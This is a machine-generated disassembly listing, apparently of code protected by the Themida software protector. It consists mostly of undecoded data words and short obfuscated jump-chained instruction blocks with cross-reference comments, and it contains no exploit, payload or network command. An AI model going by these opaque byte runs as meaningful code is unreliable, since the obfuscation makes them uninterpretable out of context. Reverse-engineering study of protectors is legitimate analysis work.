--------------------------------------------------------------------------- dd 0E9028864h, 0FFFFA6B3h, 0E951E801h, 0F64Ch, 8B24048Fh dd 0D7012424h, 2C09E9h, 81E58900h, 4C5h, 4C58100h, 68000000h dd 1DF0h, 0FF242C89h, 5D042474h, 8B24048Fh, 0C872424h dd 0FB5EE924h db 2 dup(0FFh) word_56592A dw 8B66h ; DATA XREF: Themida_:0055FF04o dd 29E9240Ch, 31000087h, 0C33240Ch, 24248B24h, 9C243CD2h dd 0FFA65AE9h, 240C89FFh, 0BFEE953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56594E: ; CODE XREF: Themida_:0056D7CBj add esp, 4 push eax mov eax, 626D205Ch sub eax, 1 push ebx sub esp, 4 mov [esp], ebp jmp loc_564DFB ; --------------------------------------------------------------------------- loc_56596B: ; CODE XREF: Themida_:00560B7Fj push eax jmp loc_56697A ; --------------------------------------------------------------------------- db 81h, 0C5h, 63h dd 8114682Eh, 6538C5F5h, 0FCED8169h, 836D5235h, 2C8904ECh dd 2414F724h, 1938E9h, 76B85000h, 0BA2D530Dh, 33847F96h dd 36D9E9h db 0 ; --------------------------------------------------------------------------- loc_5659A1: ; CODE XREF: Themida_:0056889Bj add esi, 4 push ebx push ebp mov ebp, 7A700DF5h mov ebx, 7A700DF9h jmp loc_574BE1 ; --------------------------------------------------------------------------- loc_5659B8: ; CODE XREF: Themida_:00561E3Fj pop esi and ecx, 1D472216h push edx mov edx, 51986FD4h xor ecx, edx pop edx add eax, ecx mov ecx, [esp] jmp loc_563030 ; --------------------------------------------------------------------------- loc_5659D2: ; CODE XREF: Themida_:0056BD15j add [edx], esi mov edx, [esp] add esp, 4 jmp loc_56CE64 ; --------------------------------------------------------------------------- dw 0EF81h dd 0B7F2A3Bh, 311AC781h, 0C7817B9Eh, 233D0451h, 9809E9h dd 169CB800h, 8340636Eh, 0B1E9FFC0h, 8BFFFFA5h, 0C4812414h dd 4, 0FFA730E9h, 241C89FFh, 0C381E389h, 4, 10068h, 24048900h dd 607F32B8h, 1105E948h, 0D9F70000h, 6C5BE941h, 0E95B0000h dd 4CE9h ; --------------------------------------------------------------------------- loc_565A40: ; CODE XREF: Themida_:0056E905j mov eax, [esp] push eax jmp loc_564566 ; --------------------------------------------------------------------------- db 81h, 0F3h, 24h dd 13A7930h, 0EC835BD8h, 243C8904h, 268h, 2434FF00h, 0E189515Fh dd 4C181h, 0C1810000h, 4, 44F068h, 0C58DE900h, 0E389FFFFh dd 4C381h, 80E90000h db 5Eh, 2 dup(0) ; --------------------------------------------------------------------------- loc_565A87: ; CODE XREF: Themida_:005713F7j xor [esp], ebp pop dword ptr [edi+24h] loc_565A8D: ; CODE XREF: Themida_:00571EE4j sub esp, 4 mov [esp], ebx push 3943h mov [esp], esp jmp loc_56DDD3 ; --------------------------------------------------------------------------- dd 0C781E789h, 4, 43C4E9h, 895D5900h, 2434FFF5h, 4C4835Eh dd 8FE9FD31h db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_565ABF: ; CODE XREF: Themida_:0056BE82j add dword ptr [esp+4], 13C935A6h push dword ptr [esp] pop edi push edi mov edi, esp add edi, 4 add edi, 4 push edi jmp loc_560432 ; --------------------------------------------------------------------------- db 83h, 0EAh, 4 dd 8B241487h, 34892424h, 527C6824h, 24890000h, 250CE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565AF6: ; CODE XREF: Themida_:005747AAj push dx push edx jmp loc_5748B2 ; --------------------------------------------------------------------------- dw 0BB53h dd 0DD77A261h, 639FE981h, 0C1811DEBh, 350D0166h, 0BB53D901h dd 350D0166h, 815BD929h, 0EB639FC1h, 241C8B1Dh, 4C481h dd 0EA810000h, 5565240Ah, 0F300E957h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565B36: ; CODE XREF: Themida_:00560571j add ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] pop esp or eax, eax jz loc_574BEB push dword ptr [edi+1Ch] sub dword ptr [esp], 1DE718D2h pop ecx jmp loc_565256 ; --------------------------------------------------------------------------- aXAU db 'X[€Ãu',0 db 0D3h, 80h, 0EBh dd 2434FF75h, 494FE95Ah, 0BD550000h, 5510403h, 815DE829h dd 4ECh, 24348900h, 186F18BEh, 5EF0290Fh, 1805C801h, 50F186Fh dd 5510403h, 0E9240C8Bh, 0EBF8h, 0EE81CE29h, 3C714A4h dd 68C60159h, 57DBh, 0BB241C89h, 27E32E8Bh, 0E902E3C1h dd 0FFFFE63Dh dword_565BBC dd 0DCE9028Fh, 81FFFFA3h, 290402F3h, 0DBF74B57h, 349EF381h ; DATA XREF: Themida_:0055FE5Co dd 0EB81658Dh, 0B2F9DEC5h, 12E9DA01h, 58000019h, 0FF5FF829h dd 0E95F2434h, 82E9h, 24048158h, 97E26D0h, 243CE952h, 248B0000h dd 0ACE95224h, 50FFFFA6h, 4B8h, 8BC10100h, 0C4832404h dd 4C18104h, 33000000h, 0C31240Ch, 0D3F1E924h, 34310000h dd 0B917E924h, 0E5890000h, 4C581h, 0ED810000h, 4, 5C242C87h dd 0FF241489h, 8B042474h, 0C4832414h, 24048F04h, 6624248Bh dd 9C240421h, 954BE9h, 4C48100h, 56000000h, 1407B850h dd 9E90491h db 0C8h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565C6B: ; CODE XREF: Themida_:00574A03j xor [esp], edx xor edx, [esp] jmp loc_570352 ; --------------------------------------------------------------------------- dw 19BEh dd 0E90C564Eh, 0FFFFC875h, 0D010B9B8h, 5E0C106h, 91D1F791h dd 0AA4E860Dh, 6E054045h, 521A034h, 0A88EF359h, 34FFC101h dd 0C4835824h, 3CE98104h, 0E959BE03h, 796Fh, 72E9F301h db 0F5h, 2 dup(0) byte_565CB7 db 83h ; DATA XREF: Themida_:0055FE94o dd 3C8904ECh, 30DCE924h, 525F0000h, 22ECE954h, 248B0000h dd 2E3C124h, 0E5ECC381h, 0ECE93B4Fh, 89000010h, 1BB9240Ch dd 811D3348h, 885797F1h, 0A4C68136h, 0E903C714h, 0FFFFFEA8h ; --------------------------------------------------------------------------- loc_565CF4: ; CODE XREF: Themida_:00569946j push 6C73088Bh jmp loc_5670CD ; --------------------------------------------------------------------------- dw 6652h dd 536F43BAh, 66D38966h, 5A5BD989h, 2CBD6655h, 0ED81666Dh dd 296667B6h, 81665DE9h, 571F9CE9h, 6FACBF66h, 3E7C166h dd 0F2EF8166h, 0F929667Ah, 0AA2AE95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_565D36: ; CODE XREF: Themida_:0056D556j sub ebx, 3AD63844h push dword ptr [esp] pop ebp add esp, 4 sub ebx, 4 xchg ebx, [esp] jmp loc_56661F ; --------------------------------------------------------------------------- dw 415Dh dd 68E3F181h, 0B8052840h, 0E940DC6Bh, 1C98h ; --------------------------------------------------------------------------- loc_565D60: ; CODE XREF: Themida_:005699DCj add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], eax sub esp, 4 mov [esp], edx mov edx, 593A7F7Ch sub edx, 593A7F78h mov eax, edx jmp loc_56CF72 ; --------------------------------------------------------------------------- loc_565D8B: ; CODE XREF: Themida_:005752A6j push 79397B88h mov ebx, [esp] add esp, 4 push 643Ch jmp loc_56BBAB ; --------------------------------------------------------------------------- dd 51241489h, 997B8468h, 0D84BE963h, 0F0310000h, 0A8E9C631h dd 0E900007Fh, 0FFFFA1E3h ; --------------------------------------------------------------------------- loc_565DBC: ; CODE XREF: Themida_:00570345j xor eax, ecx push eax sub esp, 4 mov [esp], edi push dword ptr [esp] pop eax add esp, 4 jmp loc_56619E ; --------------------------------------------------------------------------- db 89h, 4, 24h dd 7DE9E089h db 14h, 2 dup(0) ; --------------------------------------------------------------------------- loc_565DDB: ; CODE XREF: Themida_:00562FC1j add bh, cl mov ecx, [esp] add esp, 4 neg bh push ecx push edx push 2597h mov [esp], eax mov al, 67h and al, 6Bh jmp loc_5710FC ; --------------------------------------------------------------------------- loc_565DF8: ; CODE XREF: Themida_:0056EAA0j mov esp, [esp] mov [esp], eax jmp loc_5685EC ; --------------------------------------------------------------------------- db 81h dd 363D24CDh, 4EC8142h, 0E9000000h, 0FFFFAA88h, 5E2434FFh dd 2D04C483h, 6A83100Fh, 7EB5E9h, 0E1895100h, 0F333E9h dd 0D8B65200h, 0E95AF788h, 0DE6Bh, 55DE801h, 292A3717h dd 911C0D2Dh, 0EC835D2Fh, 241C8904h, 145DBE56h, 0BA524DB5h dd 76A4B0Ah, 395AE281h, 0E9425121h, 2B3Bh ; --------------------------------------------------------------------------- loc_565E64: ; CODE XREF: Themida_:00574CA3j mov ebx, esp push ebp mov ebp, 0B070C6Dh jmp loc_56DFD3 ; --------------------------------------------------------------------------- db 81h, 0C1h, 52h dd 58010252h, 371DE9h, 6AE94300h, 1000006h, 0D8EE81C6h dd 581FAF11h, 31243433h, 34332434h, 24248B24h, 28DC68h dd 24348900h, 0FFE430E9h, 4C481FFh, 0F6000000h, 0FEC3FED3h dd 0AAEB80C3h, 0FFE384E9h db 0FFh ; --------------------------------------------------------------------------- loc_565EB9: ; CODE XREF: Themida_:0056494Ej sub edi, 34463780h shl edi, 6 neg edi xor edi, 0E74DD656h jmp loc_575404 ; --------------------------------------------------------------------------- db 0B3h dd 1EB808Ah, 51F7EB80h, 8855B050h, 0C9FE58C1h, 0FFA561E9h dd 76E95FFFh, 81000098h, 9D042444h, 293BF861h, 8104244Ch dd 9D04246Ch, 593BF861h, 9E242C81h, 0E9606B56h, 5B11h dd 650B68h, 7A4E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565F16: ; CODE XREF: Themida_:0056FCA6j mov ecx, 3962AD3h push eax mov eax, 46F505A5h dec eax xor eax, 696B051Bh jmp loc_566F96 ; --------------------------------------------------------------------------- loc_565F2C: ; CODE XREF: Themida_:00570FCCj and eax, ebx mov ebx, [esp] push edi jmp loc_57369F ; --------------------------------------------------------------------------- aX@c9bFBuFsom db '»•@æ9ƾ%/F)Þî¾%/Fé®M',0 dw 8B00h dd 0C4832434h, 0C5F8E904h, 50590000h, 0C33CBFB8h, 874DE907h db 2 dup(0) ; --------------------------------------------------------------------------- loc_565F66: ; CODE XREF: Themida_:005743CEj mov eax, esp push ecx push edx jmp loc_56DCA2 ; --------------------------------------------------------------------------- loc_565F6F: ; CODE XREF: Themida_:0056C107j pop ebx push ebp push edx mov edx, 4 mov ebp, edx mov edx, [esp] push ebx jmp loc_56CDCB ; --------------------------------------------------------------------------- dw 8966h dd 0EC83240Ch, 24148904h, 0D188C8B2h, 0E924148Bh, 5D82h dd 0C781E789h, 4, 8704C783h, 685C243Ch, 78F2h, 89243489h dd 4C681E6h, 83000000h, 348704EEh, 14895C24h, 5E8BBA24h dd 0CE91872h db 0C0h, 2 dup(0) ; --------------------------------------------------------------------------- loc_565FCB: ; CODE XREF: Themida_:0056F6BBj jmp loc_55FF9F ; --------------------------------------------------------------------------- dd 489BF781h, 895030B4h, 58C689F8h, 5F2434FFh, 4C481h dd 0C5810000h, 209F124Eh, 0FC68F501h, 89000024h, 4EBA2414h dd 29209F12h, 3AFCE9D5h, 0D9010000h, 0BE56505Bh, 16D738E1h dd 38E5F681h, 0F08916D7h, 4FEDE9h, 24043300h, 0D224248Bh dd 0E99C242Ch, 4C61h, 81E78957h, 4C7h, 4C78100h, 87000000h dd 0E3E9243Ch, 8900006Ch, 3415E9E8h, 0F5890000h, 28BF575Eh dd 314C0C71h, 0EB295FFDh, 36D8E9h db 0 ; --------------------------------------------------------------------------- loc_566059: ; CODE XREF: Themida_:005721C1j pop dword ptr [esp] mov esp, [esp] jmp loc_5618C2 ; --------------------------------------------------------------------------- dd 54EA815Eh, 8166C663h, 302F5AEAh, 0E9DA2912h, 3D9h ; --------------------------------------------------------------------------- loc_566078: ; CODE XREF: Themida_:00561B50j push ebp mov ebp, 5F4A4615h sub edx, ebp pop ebp sub edx, edi add edx, 5F4A4615h pop edi add edx, ecx add edx, 58D47706h pop ecx sub esp, 4 mov [esp], edi mov edi, 1 add edx, edi mov edi, [esp] sub esp, 4 mov [esp], eax push esp pop eax add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_566E65 ; --------------------------------------------------------------------------- db 81h, 0F1h, 0 dd 0F7246159h, 14F751D1h, 0C1815924h, 94B5EA37h, 0C93E9h dd 54C78000h, 4AA4E9h, 81E3D100h, 956862F3h, 0DCC3810Bh dd 43238F4Ch, 6481BF57h, 0FB319C6Dh, 83243C8Bh, 812D04C4h dd 17A4F3Dh, 3D8105D8h, 15B7A4Fh, 55EE2DD8h, 6DE92912h db 58h, 2 dup(0) byte_566117 db 0FFh ; DATA XREF: Themida_:0055FD20o dd 34FF2434h, 2434FF24h, 7C6FE9h db 0 ; --------------------------------------------------------------------------- loc_566125: ; CODE XREF: Themida_:005712F5j push ecx mov ecx, 0 add ecx, 0D6724F1h sub ecx, ebx push ebx mov ebx, 0D6724F1h jmp loc_5724C3 ; --------------------------------------------------------------------------- dw 0E089h dd 7C22BE56h, 0EE81788Dh, 788D7C1Eh, 0FFA463E9h, 0C0C6FEFFh dd 0EEC004EEh, 0F2F68004h, 805AF408h, 0C480B5C4h, 58E28855h dd 0A7E8E9h db 0 ; --------------------------------------------------------------------------- loc_56616D: ; CODE XREF: Themida_:0056CAB1j push ebx mov ebx, offset sub_426680 neg ebx xor ebx, 48693036h jmp loc_56AF32 ; --------------------------------------------------------------------------- dd 0C181E189h, 4, 4E981h, 0C870000h, 2751E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_566196: ; CODE XREF: Themida_:0056037Aj sub cl, dh pop edx jmp loc_5725E9 ; --------------------------------------------------------------------------- loc_56619E: ; CODE XREF: Themida_:00565DCCj mov edi, [esp] add esp, 4 push edi push ecx jmp loc_57478C ; --------------------------------------------------------------------------- dw 248Bh dd 68525624h, 78280F07h, 7EAC15Ah, 4CF8C281h, 0C28113A6h dd 0EB6962EEh, 815AD689h, 8606A8E9h, 68F1011Dh, 3A08h dd 0BA241489h, 6A6A0475h, 0D80BE94Ah, 0C1810000h, 4, 8704C183h dd 515C240Ch, 5553E189h, 6432AABDh, 919CE948h, 5660000h dd 48660001h, 146468h, 24348900h, 60E3BE66h, 66D6F766h dd 8166DEF7h, 66731CF6h, 665EF009h, 0E9000105h, 0D815h ; --------------------------------------------------------------------------- loc_56622C: ; CODE XREF: Themida_:00565646j push edi mov edi, esp add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_561E6C ; --------------------------------------------------------------------------- dd 0E9242C8Bh, 819h, 4BA52h, 0D6010000h, 88E9505Ah db 0A4h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56625B: ; CODE XREF: Themida_:00570EA9j xor ch, 77h or dh, ch mov ecx, [esp] push esi mov esi, esp jmp loc_56DC53 ; --------------------------------------------------------------------------- db 53h dd 0FFE7CEE9h db 0FFh ; --------------------------------------------------------------------------- loc_566271: ; CODE XREF: Themida_:00564641j add [edi+40h], ecx pop ecx push dword ptr [esp] pop eax push 70A0h mov [esp], ecx push esp push dword ptr [esp] pop ecx jmp loc_570938 ; --------------------------------------------------------------------------- byte_56628B db 0ADh ; DATA XREF: Themida_:0055FD1Co dd 78A5BB53h, 0D80171E6h, 0E9241C8Bh, 0B4A1h, 5651E089h dd 5F1069BEh, 0E7CE812Fh, 81561B61h, 5936AEEEh, 0B3F68170h dd 890A393Dh, 0E9C15EF1h, 4F18104h, 552D6A1Ch, 0C23276BDh dd 8E5C113h, 7498CD81h, 0BF570D91h, 1A2E3950h, 515FFD29h dd 5C39E9h, 9C516600h, 0FF9CB6E9h db 0FFh ; --------------------------------------------------------------------------- loc_5662E9: ; CODE XREF: Themida_:005653F7j xor eax, edx jmp loc_5655F1 ; --------------------------------------------------------------------------- loc_5662F0: ; CODE XREF: Themida_:00563C8Fj mov ch, 92h sub al, 0E3h jmp loc_57287D ; --------------------------------------------------------------------------- byte_5662F9 db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055FF2Co dd 4EC8124h, 89000000h, 0E189240Ch, 0A7685557h, 5D3FA838h dd 0E581D5F7h, 497E29D6h, 8106E5C1h, 4ECh, 243C8900h, 1B1CDCBFh dd 81D7F762h, 9AC8E1C7h, 5FFD014Ch, 815D5F55h, 0EA67DAC1h dd 81F90123h, 0EA67DAE9h, 0BD555F23h, 2, 8B7DE9h, 2CA7B800h dd 47E90387h db 7Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56635B: ; CODE XREF: Themida_:00563C0Cj push edx mov edx, 4 add ebp, edx pop edx push ebx push esi mov esi, 4 mov ebx, esi jmp loc_5739D5 ; --------------------------------------------------------------------------- dw 5258h dd 67C785BAh, 5E7FE9C7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_56637E: ; CODE XREF: Themida_:00575301j sub esp, 4 mov [esp], edi jmp loc_56A3CC ; --------------------------------------------------------------------------- dword_56638C dd 240C8B66h, 3FD368h, 0B170E900h, 0F588FFFFh, 8B59EF88h ; DATA XREF: Themida_:0055FEC4o dd 5E92414h, 0F600000Fh, 2C2604D8h, 58C1301Eh, 8904EC83h dd 4FE240Ch, 240C8B24h, 4C481h, 50530000h, 4B0C78B0h, 0FFB854E9h db 0FFh ; --------------------------------------------------------------------------- loc_5663CD: ; CODE XREF: Themida_:0056A75Ej mov ebx, 4 push ecx mov ecx, 33A76898h sub eax, ecx pop ecx sub eax, 397C76B9h add eax, ebx add eax, 397C76B9h push ebx loc_5663E8: ; DATA XREF: Themida_:0056528Bo mov ebx, 5E5E4E6Dh add ebx, 4A191DA2h jmp loc_56A186 ; --------------------------------------------------------------------------- dd 0E958C789h, 0FFFFDF01h dword_566400 dd 35F3E9ADh, 0C9FE0000h, 873DE9h, 5BD83000h ; DATA XREF: Themida_:0055FEB8o ; --------------------------------------------------------------------------- push ebp mov ebp, esp push esi mov esi, 4DF616B4h sub esi, 7AB307DBh xchg edx, esi sub edx, 0FFFFFFFFh xchg edx, esi shr esi, 2 jmp loc_573C20 ; --------------------------------------------------------------------------- loc_566431: ; CODE XREF: Themida_:005635ECj add edx, 29762EA0h mov ebp, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp] jmp loc_563E76 ; --------------------------------------------------------------------------- db 81h, 0C2h, 5Ah dd 8112302Fh, 0C66354C2h, 4676E966h db 2 dup(0) ; --------------------------------------------------------------------------- loc_566462: ; CODE XREF: Themida_:00572BF2j xor [esp], ebp xor ebp, [esp] jmp loc_560684 ; --------------------------------------------------------------------------- loc_56646D: ; CODE XREF: Themida_:005741BCj push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 push edx push esp pop edx jmp loc_564582 ; --------------------------------------------------------------------------- loc_566484: ; CODE XREF: Themida_:0056208Aj push ecx mov ecx, 3DE54D8Dh add ecx, 0C21AB277h mov edi, ecx mov ecx, [esp] add esp, 4 add [esp+4], edi pop edi pop ecx add ecx, 4 sub esp, 4 mov [esp], edx sub esp, 4 mov [esp], ebp push edi mov edi, 48DE0CB3h jmp loc_568630 ; --------------------------------------------------------------------------- loc_5664C1: ; CODE XREF: Themida_:00560B14j pop ebx jmp loc_5745C1 ; --------------------------------------------------------------------------- loc_5664C7: ; CODE XREF: Themida_:00567CF0j mov [esp], edi mov edi, 2147025Bh sub edi, 21470257h add ebp, edi mov edi, [esp] add esp, 4 xor ebp, [esp] jmp loc_56AED6 ; --------------------------------------------------------------------------- db 83h, 0ECh, 4 dd 0CCFE9h, 0E9DBF700h, 867Ch, 0FE1DC7BEh, 6FCE8104h, 0D163127Dh dd 0C85AE9EEh, 0C181FFFFh, 4, 4C181h, 0C870000h, 885A5C24h dd 0B5FCE9CBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56651E: ; CODE XREF: Themida_:00561251j sub esp, 4 mov [esp], esp push edi push ecx mov ecx, 4 mov edi, ecx pop ecx sub dword ptr [esp+4], 78D93E6Dh jmp loc_56C146 ; --------------------------------------------------------------------------- db 33h dd 0CDE9243Ch, 8BFFFFB3h, 0E956242Ch, 2736h, 2D17FBBBh dd 0DBF74346h, 93D0F793h, 4A8DEB81h, 0C38139CDh, 317673B6h dd 44E9D989h, 810000CEh, 0FDFFC1C7h, 5FF90171h, 197CE951h dd 0BB530000h, 75D65D81h, 5DB7EB81h, 0EBD16E93h, 9224C381h dd 0D9011CACh, 11B0E95Bh, 0C6810000h, 4, 8704C683h, 2D5C2434h dd 42270DB1h, 0BBE9F801h, 580000ACh, 0E60FE9h, 4C48100h dd 51000000h, 24246B9h, 81D1F733h, 0FDBDBDF1h, 0C2EF81CCh dd 0E96CFE34h, 7227h ; --------------------------------------------------------------------------- loc_5665D4: ; CODE XREF: Themida_:00572A4Dj or ecx, edx jmp loc_56B517 ; --------------------------------------------------------------------------- db 0BBh dd 2, 615B202Dh, 5D80129h, 29615B20h, 2404875Bh, 6624248Bh dd 0E924048Bh, 1913h, 8004ECC0h, 0E230E5ECh, 8324048Bh dd 0E904C4h, 2DFFFFC8h, 5E495FFCh, 8358C101h, 0C4E904C1h db 0A2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56661F: ; CODE XREF: Themida_:00565D49j mov esp, [esp] jmp loc_57142E ; --------------------------------------------------------------------------- loc_566627: ; CODE XREF: Themida_:0056AA1Bj pop esp and eax, esi pop esi or eax, eax jz loc_570869 push esi mov esi, esp push edx mov edx, 4 add esi, edx pop edx sub esi, 4 xchg esi, [esp] pop esp mov [esp], eax mov eax, 1Ch jmp loc_56D202 ; --------------------------------------------------------------------------- db 5Bh dd 4EF81h, 3C870000h, 2C895C24h, 4518BD24h, 0E8295DCDh dd 0FFB245E9h db 0FFh byte_56666D db 66h, 8Bh, 4 ; DATA XREF: Themida_:0055FCFCo dd 8B545324h, 0E8E9241Ch, 81FFFFE9h, 1B6CF5F3h, 0D88950E7h dd 8B58C589h, 3FE9241Ch db 0CCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_56668F: ; CODE XREF: Themida_:0056501Ej add ebp, 4 xchg ebp, [esp] pop esp jmp loc_56A6F5 ; --------------------------------------------------------------------------- loc_56669E: ; CODE XREF: Themida_:005673C4j mov ebx, 41DA0721h add ebx, 42C239DFh and ebx, 4290385Dh sub ebx, 8FFFFCh jmp loc_56408B ; --------------------------------------------------------------------------- aITsS db '‰,$Té:˜',0 dw 5300h dd 0B229F2BBh, 0E9D82962h, 0AFADh, 4240483h, 582434FFh dd 4C481h, 0E9560000h, 0FFFFC204h, 0E9240C33h, 24E8h, 0BB241C89h dd 141706E4h, 6A1AE381h, 8AE96420h db 0BCh, 2 dup(0) ; --------------------------------------------------------------------------- loc_5666FF: ; CODE XREF: Themida_:0057004Cj pop bx jmp loc_570EA7 ; --------------------------------------------------------------------------- dw 5D54h dd 0BE565350h, 7C384C0Fh, 0D1CEEE81h, 0F3897BA9h, 0BADAE9h dd 4EC8100h, 0E9000000h, 0C03h, 4C781h, 0F6E90000h, 89000061h dd 8AE9242Ch, 0C1000043h, 0C38107E3h, 46FA580Ch, 2942C381h dd 0F2E94D9Eh, 81FFFFE6h, 61459DE9h, 20E98150h, 506D7F00h dd 0D9A98B8h, 8BC10112h, 89572404h, 6FEBE9E7h, 34FF0000h dd 0E9575F24h, 2866h, 5324348Bh, 2EE2E9h db 0 ; --------------------------------------------------------------------------- loc_566781: ; CODE XREF: Themida_:005716BAj mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp push ecx mov ecx, esp jmp loc_56527D ; --------------------------------------------------------------------------- aVTfUQefS db 'V¾’”',1Bh,':U½QeF{éÕ¼',0 align 4 dd 0ED81DDF7h, 2901001Ch, 0E95DEB89h, 0FFFFF846h, 0E9241C89h dd 0FFFFADC3h ; --------------------------------------------------------------------------- loc_5667C4: ; CODE XREF: Themida_:0057262Cj not dl shl dl, 2 xor dl, 3Eh xor ch, dl mov edx, [esp] add esp, 4 push bx mov bl, 0B2h jmp loc_57004A ; --------------------------------------------------------------------------- db 0B9h, 53h, 18h dd 0D1F76134h, 16BCE181h, 0C181716Ch, 70E48ADh, 0C8BC829h dd 4C48324h, 68555251h, 288E08A1h, 0E9D5F75Dh, 0C6B0h ; --------------------------------------------------------------------------- loc_566808: ; CODE XREF: Themida_:00570B9Aj push 6F7368D4h mov eax, [esp] add esp, 4 dec eax neg eax xor eax, 0CCF3B071h mov ecx, eax pop eax jmp loc_560B30 ; --------------------------------------------------------------------------- loc_566823: ; CODE XREF: Themida_:00566FC1j xchg ebp, [esp] mov esp, [esp] sub esp, 4 mov [esp], eax jmp loc_570F82 ; --------------------------------------------------------------------------- aS_6 db '^é`',7,0 dd 0F9885100h, 19E9C888h, 66000090h, 472AC281h, 33C28166h dd 48B6656h, 2C48324h, 2EC81h, 89660000h, 0BF66243Ch, 2D667976h dd 16677ACh, 0F4E956F8h db 5Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_566873: ; CODE XREF: Themida_:005639C5j add esp, 4 pop dword ptr [esp] pop esp jmp loc_56DF77 ; --------------------------------------------------------------------------- word_566882 dw 8B66h ; DATA XREF: Themida_:0055FD54o dd 8953240Ch, 4C381E3h, 81000000h, 4EBh, 8884E900h, 148B0000h dd 0B3E9E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5668A2: ; CODE XREF: Themida_:00569FABj xor ebp, ecx mov ecx, [esp] add esp, 4 sub eax, 70F5A67h add eax, ebp add eax, 70F5A67h pop ebp sub eax, 4 jmp loc_56D7EC ; --------------------------------------------------------------------------- dd 159CD29h, 0C335DE9h, 240C3124h, 0E9240C33h, 0C428h ; --------------------------------------------------------------------------- loc_5668D8: ; CODE XREF: Themida_:00562E88j mov ebx, 0 push 241h mov [esp], ebp mov ebp, 67A42300h sub ebx, ebp pop ebp add ebx, eax jmp loc_566CED ; --------------------------------------------------------------------------- loc_5668F4: ; CODE XREF: Themida_:0056B1D0j push edx jmp loc_571A0D ; --------------------------------------------------------------------------- dw 0C483h dd 65EB8104h, 29071607h, 0A3E956F3h db 38h, 2 dup(0) ; --------------------------------------------------------------------------- loc_56690B: ; CODE XREF: Themida_:0056FA02j pop ebp jmp loc_56E1AE ; --------------------------------------------------------------------------- db 87h, 0Ch, 24h dd 0FFA281E9h, 12C280FFh, 28DFEA80h, 0DFC280CAh, 0E912EA80h dd 0FFFFB2EDh, 5D2434FFh, 0FFEEA1E9h, 8BD301FFh, 89502414h dd 405E0h, 0BB530000h, 4, 0FFBD05E9h, 53ABB7FFh, 3E6898B7h dd 89000029h, 0DEE92404h db 0FEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_56695F: ; CODE XREF: Themida_:0056CCEFj add ecx, ebp pop ebp add ecx, 4 xchg ecx, [esp] pop esp push ebp mov ebp, 271D0A46h xor edx, ebp pop ebp jmp loc_561FA4 ; --------------------------------------------------------------------------- loc_56697A: ; CODE XREF: Themida_:0056596Cj push edx pop eax pop edx xor edx, eax xor eax, edx jmp loc_56CBFB ; --------------------------------------------------------------------------- loc_566986: ; CODE XREF: Themida_:0056C4EEj pop ecx push 71E2h mov [esp], edi jmp loc_56254A ; --------------------------------------------------------------------------- dd 0D7774A05h, 7435482Bh, 0E94D0E5Fh, 793Ch, 4C281h, 14870000h dd 0BE2FE924h, 8F5FFFFFh, 4812404h, 424h, 24348B00h, 4C481h dd 0EC830000h, 49A9E904h, 4890000h, 662B824h, 0FAE95638h dd 68000061h, 6B83h, 0B6241489h, 0CE42E92Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5669EA: ; CODE XREF: Themida_:0056B0F9j add edx, esi jmp loc_56FB51 ; --------------------------------------------------------------------------- db 50h, 0B8h, 0A8h dd 8137443Eh, 5A38C9EAh, 81C2011Bh, 5A38C9C2h, 0EA81581Bh dd 58A1139Fh, 5FEA8142h, 1624D10h, 93DBE9D5h, 0C3040000h dd 51663F2Ch, 0C4E971B5h, 29000086h, 0C6ACE9CFh, 83500000h dd 248904ECh, 0C744E924h, 0DA010000h, 7403E9h, 24048F00h dd 0FF24248Bh, 34FF2434h, 24048B24h, 0EA4DE9h, 24348700h dd 0FFE6B5E9h, 4E3C1FFh, 293CE9h, 4C48300h, 5C24C62Dh dd 0E9D80124h, 0FFFFC424h, 6851FB01h, 452Ah, 0E9242C89h dd 16C2h, 405E089h, 56000000h, 4BEh, 5A1E900h, 89500000h dd 0E88AE9E0h db 2 dup(0) ; --------------------------------------------------------------------------- loc_566A9E: ; CODE XREF: Themida_:00567BB9j sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx jmp loc_561EF3 ; --------------------------------------------------------------------------- loc_566AB0: ; CODE XREF: Themida_:00572F1Cj pop ebp add ebp, 4 sub ebp, 4 push ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] jmp loc_56A865 ; --------------------------------------------------------------------------- loc_566ACB: ; CODE XREF: Themida_:00575356j pop esp add al, 37h add al, bl jmp loc_567AAD ; --------------------------------------------------------------------------- db 57h, 0BFh, 7Bh dd 3170456Dh, 0FF565FFEh, 0C15E2404h, 0EE8106EEh, 0F78921D5h dd 562CE9h db 0 byte_566AF1 db 0FFh, 77h, 2Ch ; DATA XREF: Themida_:0055FDDCo dd 0FF94A6E9h db 0FFh byte_566AF9 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:0055FED0o dd 8B545524h, 0C481242Ch, 4, 8A8EE952h, 76BE0000h, 8111F361h dd 0C631AAF6h, 28C6817Fh, 191CAAFh, 0BD7BE9F7h db 2 dup(0) ; --------------------------------------------------------------------------- loc_566B26: ; CODE XREF: Themida_:00574711j push ecx jmp loc_560EB8 ; --------------------------------------------------------------------------- loc_566B2C: ; CODE XREF: Themida_:00561430j push esi mov esi, 5E17401Dh jmp loc_571482 ; 